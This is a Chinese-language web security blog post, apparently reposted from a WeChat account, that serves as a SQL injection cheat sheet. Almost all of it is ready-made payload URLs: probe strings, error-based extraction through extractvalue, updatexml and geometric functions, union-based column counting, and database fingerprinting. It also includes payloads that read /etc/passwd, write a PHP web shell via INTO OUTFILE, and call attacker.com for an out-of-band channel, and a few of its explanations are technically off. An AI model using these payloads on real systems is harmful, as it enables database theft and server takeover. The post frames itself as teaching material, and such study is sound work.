web漏洞挖掘方法 - sql注入篇

admin 2024年12月19日21:18:15评论6 views字数 4183阅读13分56秒阅读模式

注入检测

web漏洞挖掘方法 - sql注入篇

常见的注入点

GET/POST/PUT/DELETE参数:常见的注入点,通常会尝试在HTTP请求的参数中注入SQL命令。如:http://xx.com/product.php?id=12' OR 1=1 --X-Forwarded-For:HTTP头部字段,通常用于伪造IP地址,但也可以用于注入SQL或XSS。如:X-Forwarded-For: 192.168.1.1' OR1=1--文件名:尝试通过文件上传或者文件路径访问时进行注入。

判断注入点

如:http://xx.com/product.php?id=12/(在这里添加判断)':单引号,常见于字符串插入的地方,尤其是SQL注入。/:斜杠,可能用于路径遍历、注入等。":双引号,常用于字符串拼接。1/1:常用于测试SQL注入的效果,1/1返回真。1/0:常用于测试除零错误,触发数据库报错。and 1=1:常见的SQL注入测试条件,通常返回真,确认注入是否成功。" and "1"="1:类似于and 1=1,用于测试注入成功与否。and 1=2:尝试返回假的条件(例如,1=2为假),验证是否会导致不同的行为。or 1=1:另一种常用的条件判断,若数据库返回成功则说明注入可行。or 1=:同样是一个条件,可能会触发SQL查询错误。' and '1'='1:注入测试,验证条件是否返回真。+:加号可能用于URL编码或者SQL中拼接字符串。-:减号,用于注释掉SQL中的后续部分。^:异或运算符,有时用于绕过过滤或触发错误。*:星号,可能用于选择所有字段,或作为乘法运算符。%:百分号,可能用于SQL模糊匹配或URL编码。/:除号,常用来触发除零错误等SQL注入。<<, >>:左移右移位操作符,可能用于绕过过滤或触发错误。||:逻辑或操作符,用于组合多个条件。|:按位或操作符,可能用于SQL注入或绕过过滤。&:按位与操作符,常用于某些SQL注入攻击。&&:逻辑与操作符,组合条件判断。~:按位取反操作符,有时用于SQL注入。!:逻辑非操作符,常用于条件判断。@:在某些数据库中用作变量前缀,或用于其他目的。

注入分类

经典SQL注入:在输入字段中注入恶意的SQL查询语句,例如:' OR 1=1 --,绕过身份验证,返回所有记录。盲注(Blind SQL Injection):布尔盲注:通过观察页面响应是否变化来推测数据库的内容,例如:' AND1=1-- 和 ' AND 1=2 --。时间盲注:通过观察数据库响应延迟来判断查询的真假,例如:' AND SLEEP(5) --。联合查询注入(Union-based SQL Injection):使用UNION SELECT来合并多个查询,尝试获取数据库中的其他表数据。报错注入(Error-based SQL Injection):通过生成SQL错误,泄露数据库结构信息。

Mysql 中常用的函数

version():查询数据库的版本user():查询数据库的使用者database():数据库system_user():系统用户名session_user():连接数据库的用户名current_user():当前用户名load_file():读取本地文件@@datadir:读取数据库路径@@basedir:mysql安装路径@@version_complie_os:查看操作系统@@versionSQL查询常见的数据库版本信息。@@servernameSQL查询数据库服务器名称。@@languageSQL查询当前数据库语言设置。@@spidSQL查询当前会话ID(进程ID)。

测试列数

例如 http://xx.com/index.asp?id=12+union+select+null,null-- ,不断增加 null 至不返回

报错注入

http://xx.com/product.php?id=12andselect1/0:用来触发除零错误,从而可以获取数据库错误信息,帮助推测数据库类型。http://xx.com/product.php?id=12and*select1from (selectcount(*), concat(version(), floor(rand(0)2))x from information_schema.tables groupby x)a:通过查询数据库信息并触发错误来暴露数据库版本信息。http://xx.com/product.php?id=12and extractvalue(1, concat(0x5c, (selectuser()))):利用XML函数extractvalue来注入并获取数据库用户信息。http://xx.com/product.php?id=12and updatexml(0x3a, concat(1, (selectuser())), 1):类似于extractvalue,用于从XML中提取数据。http://xx.com/product.php?id=12andexp(~(SELECT*from(selectuser())a)):通过调用exp函数触发错误并获取数据库用户信息。http://xx.com/product.php?id=12and ST_LatFromGeoHash((select*from(select*from(selectuser())a)b)):利用空间数据函数进行注入。

基于geometric的报错注入

http://xx.com/product.php?id=12 and GeometryCollection((select * from(select * from(select user())a)b)):触发错误信息并通过几何类型函数获取用户信息。http://xx.com/product.php?id=12 and polygon((select * from(select * from(select user())a)b)):同样触发错误,通过polygon函数。http://xx.com/product.php?id=12 and multipoint((select * from(select * from(select user())a)b)):几何类型函数的一种。http://xx.com/product.php?id=12 and multilinestring((select * from(select * from(select user())a)b)):几何类型函数,用于注入。http://xx.com/product.php?id=12 and LINESTRING((select * from(select * from(select user())a)b)):几何类型函数之一,用于注入。http://xx.com/product.php?id=12 and multipolygon((select * from(select * from(select user())a)b)):几何类型函数,用于注入。

其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效

而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。

堆叠注入

http://xx.com/product.php?id=12 and ;select 1:使用分号(;)来结束当前查询并开始新的查询。

注释符

如:http://xx.com/product.php?id=12##:注释符,SQL中用来注释掉后续的语句。--+:SQL注释符,--用于注释,+可绕过某些过滤器。/xxx/:块注释,SQL注释的一种形式。/!xxx/:条件注释,仅在特定版本的MySQL中生效,通常用于版本差异化操作。/!50000xxx/:MySQL特定版本支持的注释格式,通常用于绕过过滤。

判断过滤规则

是否有trunc:检查是否存在截断字符。是否过滤某个字符:检查是否有过滤掉特定字符,如单引号、双引号等。是否过滤关键字:检查是否有过滤掉SQL关键字,如selectunioninsert等。slash和编码:检查是否需要对斜杠或字符进行编码或转义。

获取信息

判断数据库类型andexists(select*from msysobjects) >0:针对Access数据库。andexists(select*from sysobjects) >0:针对SQL Server数据库。判断数据库表andexists (select*from admin):检查是否存在admin表,用来验证表名。确定字段数OrderBy:常用于通过排序获取不同字段数目,帮助注入者确认表的列数。

测试权限

读敏感文件:测试是否能够读取敏感文件,如/etc/passwd(类Unix系统)、Windows系统中的boot.ini等。http://xx.com/product.php?id=12' UNION SELECT load_file('/etc/passwd') --写shell:测试是否能够上传并执行恶意脚本(shell)。http://xx.com/product.php?id=12' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php' --文件操作:测试是否能够对文件进行修改或删除操作。http://xx.com/product.php?id=12' UNION SELECT "<?php echo 'Hello'; ?>" INTO OUTFILE '/var/www/html/hello.php' --
    • 网络请求
带外通道:使用HTTP请求、DNS请求、SMTP等协议发送数据,从而建立与攻击者的通信通道。http://xx.com/product.php?id=12' UNION SELECT load_file('http://attacker.com/shell.txt') --

原文始发于微信公众号(信安一把索):web漏洞挖掘方法 - sql注入篇

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月19日21:18:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   web漏洞挖掘方法 - sql注入篇https://cn-sec.com/archives/3530192.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息